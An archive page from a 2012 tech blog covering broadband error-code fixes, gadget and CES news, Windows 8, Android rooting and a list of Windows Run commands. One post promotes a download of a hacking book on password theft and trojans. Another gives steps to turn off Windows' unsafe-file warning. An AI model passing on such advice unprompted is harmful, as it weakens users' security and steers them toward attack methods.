Xploring Tech

Understanding the Broadband Error Codes

2012-06-28T14:24:00.000+05:30

Do you have a Broadband connection to connect to the INTERNET, then there are many chances that the error codes mentioned below are quite familiar to you. Check out to see how to fix these broadband error codes and get some technical detail of these error codes.

1) Error code 619

Broadband error 619 – The port is disconnected

Error 619: The port is disconnected

Quite a common error when another application / process requires the same port as being used by the broadband / Internet modem. In particular, fax software is often associated with error 619. If you encounter error 619 while using fax software – disable the fax software and reboot. The quick / common fix for Error 619 is to shut down / reboot, thus forcing the port to close.
To fix error 619, try the following steps:
1. Restart / reboot PC. Wait until all applications have loaded before reconnecting.
2. Check all modem, phone cables and filters.
3. If error 619 persists – uninstall and reinstall your Broadband modem. Sometimes, error 619 can be caused where old ISP modem software is conflicting with newer modem software.

How to Fix: Restart your computer and wait until all applications have completely loaded before trying to reconnect. Check your modem and phone cables are connected securely. If your problem has still not been resolved uninstall and reinstall your Broadband modem.

2) Error code 629

Error 629 – The port was disconnected by the remote machine
Error 629 generally means that the remote computer (ISP) is closing /disconnecting the port. This might be due to incorrect connection settings such as incorrect username and / or password. Having checked these settings, if error 629 persists, it would be wise to check ISP server status for any server outages or other ISP related problems.Having checked connection settings, ISP server status – the next step would be to check all modem connections, cables and broadband filters – followed by a PC and modem reboot. If Error 629 has still not cleared, you may wish to revert to either local or ISP technical support.

Causes of Error 629 as follows:
The modem driver is corrupt
The DUN connection is dialing an invalid access number
The modem is not attempting a compatible connection
Authentication failure (invalid user name or password)
Invalid or corrupt DUN connection settings
How to Fix error 629: Restart your computer and wait until all applications have completely loaded before trying to reconnect. Recreate the Dial Up Connection. If your problem has still not been resolved uninstall and reinstall your Broadband modem.

3) Broadband error code 631

Error 631 – The port was disconnected by the user
Error 631 is usually caused when connection is interrupted by the user or another program on the PC.

How to Fix error 631:
In order to Fix Error 631, restart and to wait until all applications have
completely loaded before trying to reconnect. Recreate the connection and usually.In some circumstances, Error 631 can be caused by incorrect connection settings or by using the wrong modem or modem software. If a simple restart does not fix your error 631, check that the modem is correctly installed and connected.

4)Broadband error code 633

Error 633 – The port is already in use or is not configured for Remote Access
Error 633 is similar to Error 619 error and is caused by other applications attempting to use the broadband modem,incorrect connection settings and sometimes a corrupt modem driver.Error 633 can usually be resolved with a PC restart. This works half the times. If this Fails, error 633 might require the user to disable any Firewall Software. Try to connect again. Recreate the connection and finally, try uninstalling and reinstalling the Modem.

5) Broadband error code 645

Error 645 – Internal authentication error

How to Fix for error 645
It occur with users of Windows 98 or Windows ME .

Windows 95/98 – This error can occur if the Require encrypted password option is enabled on the Server Types tab in the connection’s properties, or an incorrect user name or password have been entered.
All versions of Windows – This error can occur if you are attempting to connect to a Windows 2000 domain that has had a RRAS (Routing and Remote Access Services) server log on without administrative privileges

6) Broadband error code 650

Error 650 – The Remote Access server is not responding
Error 650 can occur if the ISP server modem/equipment is not set up properly.
How to Fix error 650:
After receiving this error wait 15 minutes and then restart your computer. Once it has restarted wait until all applications have completely loaded before trying to reconnect. If you receive the same error, check with your service provider for
Network Outages. If there are no network outages, the problem may originate from your computer. In this case recreate your connection and if this fails to resolve the problem, uninstall and reinstall your modem.

7) Broadband error code 651

Error 651 – Your modem (or other connecting device) has reported an error
How to Fix error 651 :
Error 651 usually points to a driver error or modem hardware failure. Ensure that the modem is correctly connected to the PC and telephone line. Ensure that full connectivity is indicated on the modem. Having checked these things,restart. If this does not resolve the error 651, go through an uninstall and reinstall of the modem software. It’s possible that the your modem is faulty. Try connecting it to some other port if available and see if the modem works.

8) Possible solution / fix for error 678

Broadband error 678 – There is no answer
Error 678 can normally be resolved by restarting and waiting until all applications have completely loaded before trying to reconnect. Although ADSL modems do not dial to connect to the internet, error 678 – no answer – sometimes results because there is an invalid number entered for the computer to dial.
How to Fix Error 678:
Click on the Start Menu and then select Run.
In the box which appears type the word command in order to open the command prompt and then click OK.
In the black command prompt window, type “netsh interface ip reset log.txt” and click on Enter on your keyboard.
Then type exit into the command prompt and then click on Enter on your keyboard.
Now restart your computer and reconnect to the Internet.

9) Possible solution / fix for error 691

Broadband error 691 – Access denied because username and/or
password is invalid on the domain
With all Windows versions – Error 691 can occur if you use a bad username or password; remember in most instances the password is case-sensitive – you will not see the password, so if CAPS LOCK is not the way you expect it, you may have a problem with upper/lower-case. It may also occur if there is a problem with your service providers access equipment, or on a ‘bad’ connection where the modem is retraining. Can also occur with incorrect Connection settings.
If you get error 691 with a new account – you may not be using the correct username and/or password. Verify with your provider exactly what you need for your username and password.

10)Possible solution / fix for error 718

Broadband error 718 – PPP timeout
Error 718 indicates a PPP conversation was started, but was terminated because the remote server did not respond within an appropriate time. This can be caused by poor line quality or a problem with the server (ISP). This error can occur when your modem has connected to the ISP and has sent user name and password, but there is no response from the server. Sometimes, re-dialing will be successful.Error 718 can also occur if your ISP account has expired, or if the user name or password you are using is invalid. Error 718 can occur if you have LCP extensions enabled in the TCP/IP Properties of the connection and your ISP does not support LCP extensions.
Error 718 may also occur if you have one or more network cards in your machine, and the cards do not have TCP/IP protocol enabled, or if the TCP/IP settings are incorrect. (Go to Networking in Control Panel to examine the properties of your network adapters; or, if you are not using the network card(s), disable them in Control Panel->System->Hardware.)

11) Broadband error 721 – Remote PPP peer is not responding

Error 721 generally means that there is a problem with the remote PPP

The PPP server resides with the Internet /broadband provider and is the computer at ‘the other end of the line’ that establishes connections to the Internet.

The majority of Error 721 messages are caused by a problem with the Internet service provider. Check the ISP’s service status before checking other possible causes.

Displaced modem connections, adsl cables and / or broadband filters. If an Error 721 message has not been caused by the ISP, check all connections. Shut down both modem and PC and to wait 5-10 minutes before restarting them. Wait until all PC application have fully loaded before attempting to reconnect to the Internet.

How to fix error 721 :
Test the dial tone of your telephone to check that your line is working. Unplug, reboot and plug in again your modem to ensure the driver has loaded.

12) How to Fix error 797

How to Fix error 797
Restart your computer and wait until all applications have completely loaded before trying to reconnect.
If your problem has still not been resolved uninstall and reinstall your Broadband modem.

A List of other Broadband Error codes :

Check out above list for solutions or Google to search some forum where users have already discussed these error codes along with their fix. Drop a comment if you run into any of these errors to see if we can help.

600 An operation is pending.
601 The port handle is invalid.
602 The port is already open.
603 Caller’s buffer is too small.
604 Wrong information specified.
605 Cannot set port information.
606 The port is not connected.
607 The event is invalid.
608 The device does not exist.
609 The device type does not exist.
610 The buffer is invalid.
611 The route is not available.
612 The route is not allocated.
613 Invalid compression specified.
614 Out of buffers.
615 The port was not found.
616 An asynchronous request is pending.
617 The port or device is already disconnecting.
618 The port is not open.
619 The port is disconnected.
620 There are no endpoints.
621 Cannot open the phone book file.
622 Cannot load the phone book file.
623 Cannot find the phone book entry.
624 Cannot write the phone book file.
625 Invalid information found in the phone book.
626 Cannot load a string.
627 Cannot find key.
628 The port was disconnected.
629 The port was disconnected by the remote machine.
630 The port was disconnected due to hardware failure.
631 The port was disconnected by the user.
632 The structure size is incorrect.
633 The port is already in use or is not configured for Remote Access dialout.
634 Cannot register your computer on the remote network.
635 Unknown error.
636 The wrong device is attached to the port.
637 The string could not be converted.
638 The request has timed out.
639 No asynchronous net available.
640 A NetBIOS error has occurred.
641 The server cannot allocate NetBIOS resources needed to support the client.
642 One of your NetBIOS names is already registered on the remote network.
643 A network adapter at the server failed.
644 You will not receive network message popups.
645 Internal authentication error.
646 The account is not permitted to log on at this time of day.
647 The account is disabled.
648 The password has expired.
649 The account does not have Remote Access permission.
650 The Remote Access server is not responding.
651 Your modem (or other connecting device) has reported an error.
652 Unrecognized response from the device.
653 A macro required by the device was not found in the device .INF file section.
654 A command or response in the device .INF file section refers to an undefined macro
655 The macro was not found in the device .INF file section.
656 The macro in the device .INF file section contains an undefined macro
657 The device .INF file could not be opened.
658 The device name in the device .INF or media .INI file is too long.
659 The media .INI file refers to an unknown device name.
660 The device .INF file contains no responses for the command.
661 The device .INF file is missing a command.
662 Attempted to set a macro not listed in device .INF file section.
663 The media .INI file refers to an unknown device type.
664 Cannot allocate memory.
665 The port is not configured for Remote Access.
666 Your modem (or other connecting device) is not functioning.
667 Cannot read the media .INI file.
668 The connection dropped.
669 The usage parameter in the media .INI file is invalid.
670 Cannot read the section name from the media .INI file.
671 Cannot read the device type from the media .INI file.
672 Cannot read the device name from the media .INI file.
673 Cannot read the usage from the media .INI file.
674 Cannot read the maximum connection BPS rate from the media .INI file.
675 Cannot read the maximum carrier BPS rate from the media .INI file.
676 The line is busy.
677 A person answered instead of a modem.
678 There is no answer.
679 Cannot detect carrier.
680 There is no dial tone.
681 General error reported by device.
682 ERROR WRITING SECTIONNAME
683 ERROR WRITING DEVICETYPE
684 ERROR WRITING DEVICENAME
685 ERROR WRITING MAXCONNECTBPS
686 ERROR WRITING MAXCARRIERBPS
687 ERROR WRITING USAGE
688 ERROR WRITING DEFAULTOFF
689 ERROR READING DEFAULTOFF
690 ERROR EMPTY INI FILE
691 Access denied because username and/or password is invalid on the domain.
692 Hardware failure in port or attached device.
693 ERROR NOT BINARY MACRO
694 ERROR DCB NOT FOUND
695 ERROR STATE MACHINES NOT STARTED
696 ERROR STATE MACHINES ALREADY STARTED
697 ERROR PARTIAL RESPONSE LOOPING
698 A response keyname in the device .INF file is not in the expected format.
699 The device response caused buffer overflow.
700 The expanded command in the device .INF file is too long.
701 The device moved to a BPS rate not supported by the COM driver.
702 Device response received when none expected.
703 ERROR INTERACTIVE MODE
704 ERROR BAD CALLBACK NUMBER
705 ERROR INVALID AUTH STATE
706 ERROR WRITING INITBPS
707 X.25 diagnostic indication.
708 The account has expired.
709 Error changing password on domain.
710 Serial overrun errors were detected while communicating with your modem.
711 RasMan initialization failure. Check the event log.
712 Biplex port is initializing. Wait a few seconds and redial.
713 No active ISDN lines are available.
714 Not enough ISDN channels are available to make the call.
715 Too many errors occurred because of poor phone line quality.
716 The Remote Access IP configuration is unusable.
717 No IP addresses are available in the static pool of Remote Access IP addresses.
718 PPP timeout.
719 PPP terminated by remote machine.
720 No PPP control protocols configured.
721 Remote PPP peer is not responding.
722 The PPP packet is invalid.
723 The phone number, including prefix and suffix, is too long.
724 The IPX protocol cannot dial-out on the port because the computer is an IPX router.
725 The IPX protocol cannot dial-in on the port because the IPX router is not installed.
726 The IPX protocol cannot be used for dial-out on more than one port at a time.
727 Cannot access TCPCFG.DLL.
728 Cannot find an IP adapter bound to Remote Access.
729 SLIP cannot be used unless the IP protocol is installed.
730 Computer registration is not complete.
731 The protocol is not configured.
732 The PPP negotiation is not converging.
733 The PPP control protocol for this network protocol is not available on the server.
734 The PPP link control protocol terminated.
735 The requested address was rejected by the server.
736 The remote computer terminated the control protocol.
737 Loopback detected.
738 The server did not assign an address.
739 The remote server cannot use the Windows NT encrypted password.
740 The TAPI devices configured for Remote Access failed to initialize or were not installed correctly.
741 The local computer does not support encryption.
742 The remote server does not support encryption.
743 The remote server requires encryption.
744 Cannot use the IPX net number assigned by the remote server. Check the event log.
752 A syntax error was encountered while processing a script.

Secrets of Super Hacker!!

2012-02-17T23:47:00.003+05:30

Secrets of Super Hacker is the most amazing book ever published on computer hacking. Step by step illustrated details on the techniques used by hackers to get your data including Guessing Passwords, Stealing Passwords,Password Lists, Social Engineering,Reverse Social Engineering,Crashing Electronic Bulletin Boards,Dummy Screens, Fake E-mail,Trojan Horses, Viruses, Worms,Trap Doors, And Much more. Anyone concerned with computer security and data privacy needs to read this book.

DOWNLOAD HERE

Rajnikanth Website doesnt require internet!!

2012-02-17T23:22:00.001+05:30

As you all know about rajnikanth famous south superstar and his jokes and pj which are famous over interent but today i came across interesting site allaboutrajni which you can access only when your internet connection is off else it show error message. It contain rajnikanth jokes,stories,facts etc.

1. Visit www.allaboutrajni.com
2. To explore this site you need to remove your internet wire or turn off your laptop wifi swithch.
3. If you dont turn off then you will see below msg.

4. Share it with your friends and subscribe us for more interesting tutorials.

Concept cellphone battery rotates around your finger for a few minutes of talktime

2012-02-11T18:32:00.000+05:30

Eco Factor: Concept battery with a built-in electricity generator.

Designed by Song Teaho and Hyejin Lee, the finger-powered battery is what will keep your talks going for those extra minutes before you have access to a wall socket. The concept isn’t built on a green theme, but does keep your chats lasting a wee bit longer by harnessing renewable energy.

The battery features a built-in generator, which produces a few milliwatts of electrical power whenever it is rotated around your finger. The designers claim that rotating the battery 130 times on your finger can generate enough energy for 2 minutes of talktime.

Innovative Gadgets Powered by Renewable Energy

2012-02-11T18:06:00.000+05:30

Designed by Elium Studio for Lexon, these innovative gadgets are all made from sustainable materials like the corn bio-plastic and bamboo trim. The new range includes a crank-up radio, a calculator, a pocket flashlight, and several clocks. These gadgets are all powered by renewable solar energy.

Apple Camera Will Make Fanboys Happy!

2012-02-10T19:51:00.002+05:30

Ever fantasized about an Apple Camera? I know they are doing a decent job with the iPhone and dedicated apps make the experience of going click-click even better. But just for a Moment, stop in your tracks and let go of all your reservations…and then picture the Apple Camera, is it as innovative as the QuickTake Concept? Maybe not, so step right in to know more….

Features

Never seen before design using glass and recycled aluminum
Long battery life
Graphic interface (GUI) looks like an iPad with full touch screen

Microphone and Voice Control

The Quicktake is the first smart digital camera
It includes a microphone that can record HD sound while eliminating unwanted noise around
Allows recordings according to the modes, focusing on a particular sound while minimizing others (video mode)
Voice Control lets you take pictures or choose the options with your voice
In self-portrait mode (or when you use a tripod), it’s enough to say “Cheeseeee” for example for the device to make a statement and take the picture
Voice control also allows to settle the device according to the modes

Camera Lens

Camera lens takes 32 MP, 1080P videos without compression
This is the first rotating camera lens in the world
The “Eyefocus+” in video mode can target the person by reproducing the effect of the human eye, (the camera lens can be rotated a few millimeters to the left and right as human eyes to capture more images) creating an unprecedented focus effect. There are different modes, such as slow motion video, 3D panorama mode, HDR, the burst mode at 60 frames per second, image stabilization, smile detection and tracking of the eyes, never to lose the only right time, anti blur mode, most advanced in the world
Integrated LED flash units operate independently of each other to deliver perfect photos and videos even in low light, automatic red-eye removal etc.

Retina Mini Cinema HD touchscreen with IPS technology

The Special feature of this digital camera is the fact that the extra wide screen can be swiveled 360 °.
Take a picture of startling self-portrait regardless of their quality
Once you have rotated the screen, the device goes into portrait mode by default
The Touch HD screen is LED backlit, with high pixels per inch
The light sensor adjusts the screen brightness automatically
Zoom with your fingers like smartphones

Calendar Pics

This feature lets you group photos based on several criteria, faces, dates taken, places etc.
You can take pictures based on those previously taken, which simplifies the settings

Battery

Battery is integrated into the Quicktake, which is charged with 30 pin dock connector from Apple
It also supports GPS, Wi-Fi, Airprint, Airplay, Photobooth, auto modes, strong Edit modes, autofocus (AF), HD speakers, automatic upload to Youtube, Flickr
Even if the display is closed, proximity sensor that adjusts the settings as you are very close or very far from the camera

How to Stop “Open File–Security Warning” Message in Windows 7

2012-02-10T14:39:00.002+05:30

Windows 7 is an awesome operating system and is much better than all previous OS by Microsoft. There are several reasons that Windows 7 got such a huge success in operating system market. Some of the killer features are related to speed, stability, features and security. Security system available in Windows 7 is really amazing and stops users from making unnecessary changes on system thereby making it hack proof. Open File warning message comes whenever you download any file from internet using Internet Explorer and try to run from there. For example when you open any program file which you might have just downloaded from internet it will show Open File Security Warning message. If you don’t have trust on clicked exe then don’t allow it to use your system resources but if have full idea that the exe file is safe then you can continue with them. This security system is really helpful for normal computer users but for advanced users some times it can get cumbersome because they need to take permission for the same file again and again before use. Same security warning will pop up everytime making the entire process very frustrating. Fortunately, Windows have direct option to disable this feature on system. We don’t need to do some manually settings to disable this security warning in Windows 7.

1. To disable this warning message start your RUN box and type inetcpl.cpl. You can also get the same settings in Internet Explorer in tools menu. But inetcpl.cpl command can directly open this option without starting Internet Explorer.

2. Now click on Security tab and Internet Zone by default will be selected. Click on Custom level to go ahead to some more advanced settings.

3. Finally select Enable (not secure) radio button which is available in Launching applications and unsafe files (not secure) to disable file open security warning. After enabling it click on OK button to proceed to the next step.

4. Once you click on OK button Windows will ask for confirming your settings. Click on Yes button to confirm your changes in Internet Option.

For normal internet user I don’t recommended these settings because it is very important for security reasons and it can protect you from online threats but users who have some additional knowledge about viruses and threats types can disable this warning message to speed up work.

Hagent The Heat Absorbing Robot

2012-02-09T14:12:00.000+05:30

A new heat-absorbing robot is out to help cut down on energy expenses. The invention called the Hagent, which deceptively appears as a simple black cube with wheels, has the ability to find heat, absorb it, then release it in areas which are cold.

The robot, which was invented by Andreas Meinhardt and Daniel Abendroth, first searches for sources of heat via embedded heat sensors. For instance, it may detect that a fireplace is giving off large amounts of heat. Then, using what is known as phase change material (PCM)–essentially substances that are able to solidify or melt at particular temperatures—it stores some heat from the source as energy.

Because it is mobile, it can then transports that heat into areas where the warmth is needed. There is no word, however, on how exactly it transports this heat. In other words, does it have sensors for detecting cold areas? Or does it need to be given for it to go to a certain area?

To date, the Hagent is still a prototype, and it had recently won second prize at an international design contest.

However, if the inventors are able to make it into a smaller and more well-designed device in terms of aesthetics, perhaps, it could have the potential into being developed as an alternative to expensive heating solutions in countries where it gets unbearably cold.

A USB hub for iPhone and iPad

2012-02-08T16:51:00.002+05:30

If you have a computer with a few USB ports, or you need more space and you have many devices, the enhancement brought by USBFever will come in handy. This is a HUB in Apple-style, complete with LEDs to indicate charging status and is compatible with the following list of devices.

- iPhone 4
- iPhone 3Gs
- iPhone 3G
- iPhone 2G
- 3 iPod Touch
- IPod Touch 2
- iPod Touch 1
- iPod Classic 120G
- iPod 5 (Video)
- iPod Nano 5
- iPod Nano 4
- iPod Nano 3

Available at a price of $ 10.99.

Microsoft Arc Touch Mouse

2012-02-08T16:42:00.002+05:30

Microsoft is getting close to release a new mouse named as - Arch Touch Mouse.It has a curved palm rest designed to fit the palm of a hand,it’s different with traditional scroll wheels of more recent computer mice.

It glides over surfaces and allows touch-based scrolling in place of a scroll wheel. The Arc Touch is expected to have Microsoft’s BlueTrack advanced optics technology, which gives a mouse the ability to be used on smooth surfaces and even carpet.

The Arc Touch can be bent flat for storage or transport. It reportedly has a 2.4 GHz wireless transceiver that plugs into a system’s USB port for connectivity, a battery indicator and a symmetrical design making it easy for people who are either right-handed or left-handed to use.

The Arc Touch Mouse expected to be an update to the Arc Mouse, which also folds up, has a wireless range of 2.4 GHz up to 30 feet, a scroll wheel, a battery status indicator, four customizable buttons and a snap-in transceiver. It is expected to compete again the wireless Apple Magic Mouse, with Multi-Touch technology for users running OS X.

It will be available soon in the United States at a rumored price of US$69.95, although people who are in Germany can already have their very own Microsoft Arc Touch Mouse for only €69.99, almost a euro more than Apple’s Magic Mouse or Magic Trackpad sells for in there.

Get Free .in Domain

2012-02-08T15:51:00.001+05:30

Good News For Indian Users…Now Get Free .in Domain For 1 Year With Free Hosting!

1. First of all visit www.indiagetonline.in (Official Site).

2. Now click on Yes,I want my free website.

3.Enter your desired domain name for checking the Availability of domain..

4.If available then click next.

5.Fill all the details in the form provided
*. PAN[permanent account number] ismust for identifying that you are anIndian

6.Now click next and proceed to yourwebsite customization!! So for what you guys are waiting for? get your free domain today!

Advantages and Disadvantages of Rooting an Android Device

2012-02-01T14:07:00.002+05:30

Rooting your Android Device means hacking it to obtain ‘super user rights’ or ‘super privileges’ on your Android software. The same technique is called as ‘Jail-Breaking’ in the iPhone world.

Rooting an Android has many advantages (and disadvantages). Listed below are the Advantages and Disadvantages of Rooting an Android Device.

Advantages of Rooting an Android Device.

Load custom ROMs.
You might be using older version of Android on your device but after rooting, you can upgrade to the latest version with custom made ROMs.
Install Custom Themes.
After rooting, You can customize almost every bit of graphics present on your android.
Increase Battery Life.
Some custom ROMs can improve the communication between kernel and device and make it perform better thus increasing battery life and performance.
Install Custom Paid Features.
Some paid features can be implemented using rooting.
Upgrade to newer android versions before they are released by your Service Provider.
As said earlier, Custom ROMs can be used to install yet to be released softwares.
Backup all your Apps and Settings.
The ability to easily backup all of your Apps and Data is one feature that is sorely missed on the stock build of Android devices. But if you root your device, backing up everything on your device (both apps and data) becomes a simple task. Also you can take Nandroids of your phone which means taking backup of the full phone with its OS and Data like Contacts/SMS/Call Logs etc.
Tweak your Baseband for Better Signal.
The Baseband is what controls the radio on your device. By updating to the latest Basebands, you can potentially improve both the signal and quality of your phone calls.
Unlock Features like Wi-Fi,USB,Bluetooth Tethering.
By rooting your Android device you also gain the ability to unlock some features that your carrier may charge for. One example is enabling free WiFi and USB tethering, which many carriers charge money for.
Move all your Apps to SD Card
You can move most of your apps that you install in the internal memory to the phone’s SD Card and save your internal memory.
Over Clocking and Under Clocking.
Overclocking your Android can yield better performance and under clocking it can gain better battery life.

Disadvantages & Risks of Rooting an Android Device.

Bricking.
If you do a silly mistake in rooting, You end up bricking your android device. So its not for the faint hearts! Bricking your phone means make it pretty much useless.
Voiding your Device Warranty.
Your manufacturer wont repair a bricked or damaged device for you since you rooted it and rooting voids warranty. Fortunately you can even try your hands on Un-Rooting the device before you give it to the manufacturer.
Malicious Rooting Software.
When rooting your device you intend to put a lot of trust on the developer since you are giving the Super User Rights to the apps, So there always resides a security risk in rooting but fortunately since most apps are Open Source, The community takes care of malicious apps.
Google doesn’t like Rooting.
It is quite evident that Google doesn’t like their OS to be rooted from the not so long ago story of Android Market’s new movie rental service from being blocked on rooted devices.

That was the precautionary explanations that you needed to know before going ahead and rooting your Android. Stay tuned with XploringTech.

Ultrabooks – Thinnest Laptops Yet

2012-01-31T22:50:00.002+05:30

Thin is In at CES

The annual Consumer Electronics Show (CES) in Las Vegas draws 150,000 people, covers acres of brand new gadgets, and the trend that's already stealing the show is ULTRABOOKS. Between 30 and 50 of these super-thin laptops will be rolled out this week. But what is an Ultrabook, are they as good as the original Ultrabook — the Macbook Air — and is it worth the extra bucks just to get a lighter laptop?

What's An Ultrabook?
An Ultrabook is an extremely thin laptop; no more than .8 inches thick, in some cases as thin as the face of a dime. They run a full version of Windows: this is not just a tablet with a keyboard. And they have super-long battery life: anywhere from 5 to 9 hours. To stay so thin, these laptops have very few ports: usually just headphones and USB 3.0 (for you geeks- I've seen some touted as coming with Thunderbolt ports which are 2 times as fast as USB 3.0 and 12 times faster than firewire — 10Gbps!). These are not as inexpensive as netbooks were a few years ago, but Ultrabooks boast more power. Most new releases I'm seeing start at $899 and go up into the mid $1300-$1500 range.

Start Up In 7 Seconds
Ultrabooks have no DVD drives, and they have solid state hard drives which are more like the storage in a USB flash drive than in the older hard drives that spin and have moving parts. This is important because when you boot up your current computer you're booting up a spinning hard drive: it takes time to get the platter moving and up to speed. But solid state hard drives in ultra books don't need that time: some start in under 7 seconds.

New Intel Chips Inside
This category of laptops is coming to prominence now because Intel has just designed the processors that these new systems are based on, and they say that 40% of all laptops sold in 2012 will be Windows-based Ultrabooks. Analysts predict as many as 50 new models may be announced at CES, but some differ with the Intel projections on sales, estimating more like 10% of laptops sold in 2012 will be Ultrabooks.

New At CES
So who's announcing what? To name a few:

ACER has the world's thinnest Ultrabook at .58 inches, it's thinner than the width of a dime, but Toshiba also says they have the thinnest Ultrabook- no specs released yet.
ASUS released a few Ultrabooks in October of 2011 and we expect an update, although possibly only cosmetic, at CES.
TV-maker Vizio is unveiling its own Ultrabook this year.
Dell is rumored to be unveiling a new design.
HP is also rumored to be rolling out an Ultrabook.

Macbook Air

But don't discount the original Ultrabook. Apple unveiled the Macbook Air in 2008, and it was last updated in July 2011. It costs just $999, but keep in mind it's due for a refresh and may get access to the new processors Intel has created for the PC some time in late spring/early summer of 2012.

The Latest in TV Technology

2012-01-31T22:39:00.001+05:30

What's Hot and What's Hype

The annual Consumer Electronics Show (CES) in Las Vegas is the Super Bowl of new TV technologies. And this year's big event promises lots of new products. Big OLED TVs, 4K and 8K TVS, gesture control and maybe the first contender for a glasses-free TV that really works.

OLEDs
The most beautiful sets at CES are OLEDs: Organic Light Emitting Diodes. They have much higher contrast than current LED sets; light can be turned off on a per pixel basis. Dark scenes offer the blackest of blacks — rich deep colors without the blooming of light that affects other LCD and LED TVs.

OLEDs are super thin: 3/16ths of an inch. Some are so thin that the power ports and connectors need to be housed in the stands, not on the set itself. OLEDs use half the power of current HDTVs and some sets will consume less energy than a 50-watt bulb. And finally the dreaded motion blur of LED and LCDs (when sports and fast action appear blocky) almost completely disappears with OLEDs.

I've seen small 12 and 20-inch prototype OLEDs in past years at CES, but never a true big screen option that is in production and planned for release. This year is different: LG has a 55-inch OLED on display, and Samsung is rumored to have another OLED debuting this week. The prices on these sets will be ridiculous — $8,000-10,000 — but predictions from analysts say that by the end of 2013, they'll be more like $4000. Availability is still a little unclear, although rumors of late 2012 offerings are in the air.

4K and 8K Resolution
Another trend at CES: higher resolution TVs than ever. 4K and 8K respectively double and quadruple the resolution of the highest high definition sets on the market. Panasonic, Sharp, Samsung, and most other TV manufacturers are going for this crisper, more vivid resolution as an incentive to get consumers to trade in their old TV sets. But this technology is still a ways from every day reality, and CES may prove a litmus test on whether attendees think the 4K sets are that much more visually compelling. An even greater inhibitor to widespread 4K/8K TVs any time soon is that they will mandate all new source video and new cameras and infrastructure from TV networks and production companies. Today, very little content is produced at such high resolution.

3D Is Dead — Long Live 3D!
In the early press releases from manufacturers, there has been very little mention of 3D. It seems they now understand that most consumers aren't willing to pay much more for a TV with 3D. It's being seen as less of a feature, more of a gimmick. That being said, there is early buzz around Toshiba, who is saying that they will have a glasses-free, big-screen 3DTV available for sale within the year, according to CNET news. This is a big departure from other manufacturers like Samsung, which has managed expectations, saying they don't expect to have glasses-free technology ready for market within 10 years.

Gesture Control — An End To The Remote Control?
The success of the XBOX Kinect, which tracks the player's movements to control gaming, has spawned a whole new idea for interacting with your TV: gesture control. Imagine flicking your wrist to mute the volume, raising your arm to pull up the guide and grabbing or swiping to select a show. Such sets could even have facial recognition to turn on your favorite channels and volume presets when you walk into the room.

PrimeSense, the company behind the Kinect's gesture control, is showing off a TV driven with the same technology, and Samsung is rumored to be debuting sets with this same type of user control.

Smart Internet Connected TVs
Internet connected sets are becoming completely mainstream, so expect a lot of products to tout Google TV and Yahoo! Connected TV built into their sets. Apple is rumored to announce later this year a full-fledged, big screen TV with all the Apple content access built in. Yet more than 8 million consumers have already purchased TVs with the Yahoo! Connected TV platform. One cool product for people whose existing sets aren't connected yet, and who don't want to upgrade, is a new product from Roku. It's a small stick about the size of a USB stick that you plug into your TV through a slot called the MHL port (many TVs have these ports- check your spec sheet or the back of the T for something that looks like a micro USB port) for wireless access to Netflix, YouTube and a whole host of independent Internet content providers. No price yet, but estimates are centering on the $50 range.

How Windows 8 Could Change Your Life – Or Not

2012-01-31T22:31:00.002+05:30

Microsoft has begun showing off bits and pieces of Windows 8, the next version of the most popular computer operating system in the world. The question: Is this an operating system you should plan to install on your current PC, or wait until it comes preinstalled on the next computer you buy?

What's Different About Windows 8
The headline with this operating system — it's not just for desktops and laptops, but also for touch devices, namely the increasingly popular tablets. If not revolutionary, this certainly represents a major advancement. Until now, tablets have used a different operating system from their desktop and laptop cousins. But as hardware evolves, Microsoft is working hard to be ready for the inevitable merging of laptop and tablet technology.

Hybrid Laptops
Microsoft envisions a day when your average desktop computer has a touchscreen, and when your laptop can convert into a tablet. That day is coming soon. At this year's International Consumer Electronics Show (CES), a Chinese company called Compal unveiled a prototype laptop with a removable touchsceen — and that screen becomes a tablet. Very cool. Lenovo also unveiled their Lenovo Yoga hybrid. At first glance, the Yoga looks like a traditional laptop, but the hinge that connects the screen to keyboard can rotate 360 degrees, enabling you to tuck the keyboard flat behind the screen and transform the device into a tablet shape.

Touchscreen Controls

Windows 8 will let you type with a keyboard or with an on-screen virtual keyboard. Like any tablet, menus and apps appear with the swipe of a finger. To get to the main menu, you swipe from the right edge. To see other open applications, swipe from the left hand side. Menus for the application at hand are all found by touching the bottom of the screen.

You may have seen the snap feature in Windows 7, where you can put two windows on the screen and multitask. This works the same in Windows 8, only better. In addition to being able to move windows around with your mouse, you can do it with touch.

Joining the App Craze
Microsoft has set up their own app store, and they're eager for you to buy. So Windows 8 is designed to integrate virtually all of the apps we love — games like Cut the Rope and social sites like Twitter, Facebook, and photo-sharing sites — right on the start screen. You can customize what's on this display, and the information — whether is news feeds from your friends or the weather report — updates automatically.

Buy or Wait
Back to the big question: should you buy Windows 8 as soon as it comes out? Well, the vast majority of its new features are designed to maximize the touch screens that many future computers will have. So while Windows 8 will work on your existing PC. One caveat, that's based on the initial look we've gotten at the Beta version of Win 8, and as with all things tech, new developments may alter the decision making process for consumers.

Microsoft hasn't committed to an official launch date, but company insiders have hinted at an October release.

100+ Run commands List

2012-01-30T01:39:00.001+05:30

Accessibility Options : access.cpl
Add Hardware : hdwwiz.cpl
Add / Remove Programs : appwiz.cpl
Administrative Tools : control admintools
Automatic Updates : wuaucpl.cpl
Wizard file transfer Bluethooth : fsquirt
Calculator : calc
Certificate Manager : certmgr.msc
Character : charmap
Checking disk : chkdsk
Manager of the album (clipboard) : clipbrd
Command Prompt : cmd
Service components (DCOM) : dcomcnfg
Computer Management : compmgmt.msc
DDE active sharing : ddeshare
Device Manager : devmgmt.msc
DirectX Control Panel (if installed) : directx.cpl
DirectX Diagnostic Utility : dxdiag
Disk Cleanup : cleanmgr
System Information : dxdiag
Disk Defragmenter : dfrg.msc
Disk Management : diskmgmt.msc
Partition manager : diskpart
Display Properties : control desktop
Properties of the display (2) : desk.cpl
Properties display (tab "appearance") : control color
Dr. Watson : drwtsn32
Manager vérirficateur drivers : check
Event Viewer : Eventvwr.msc
Verification of signatures of files : sigverif
Findfast (if present) : findfast.cpl
Folder Options : control folders
Fonts (fonts) : control fonts
Fonts folder windows : fonts
Free Cell : freecell
Game Controllers : Joy.cpl
Group Policy (XP Pro) : gpedit.msc
Hearts (card game) : mshearts
IExpress (file generator. Cab) : IExpress
Indexing Service (if not disabled) : ciadv.msc
Internet Properties : inetcpl.cpl
IPConfig (display configuration) : ipconfig / all
IPConfig (displays the contents of the DNS cache) : ipconfig / displaydns
IPConfig (erases the contents of the DNS cache) : ipconfig / flushdns
IPConfig (IP configuration cancels maps) : ipconfig / release
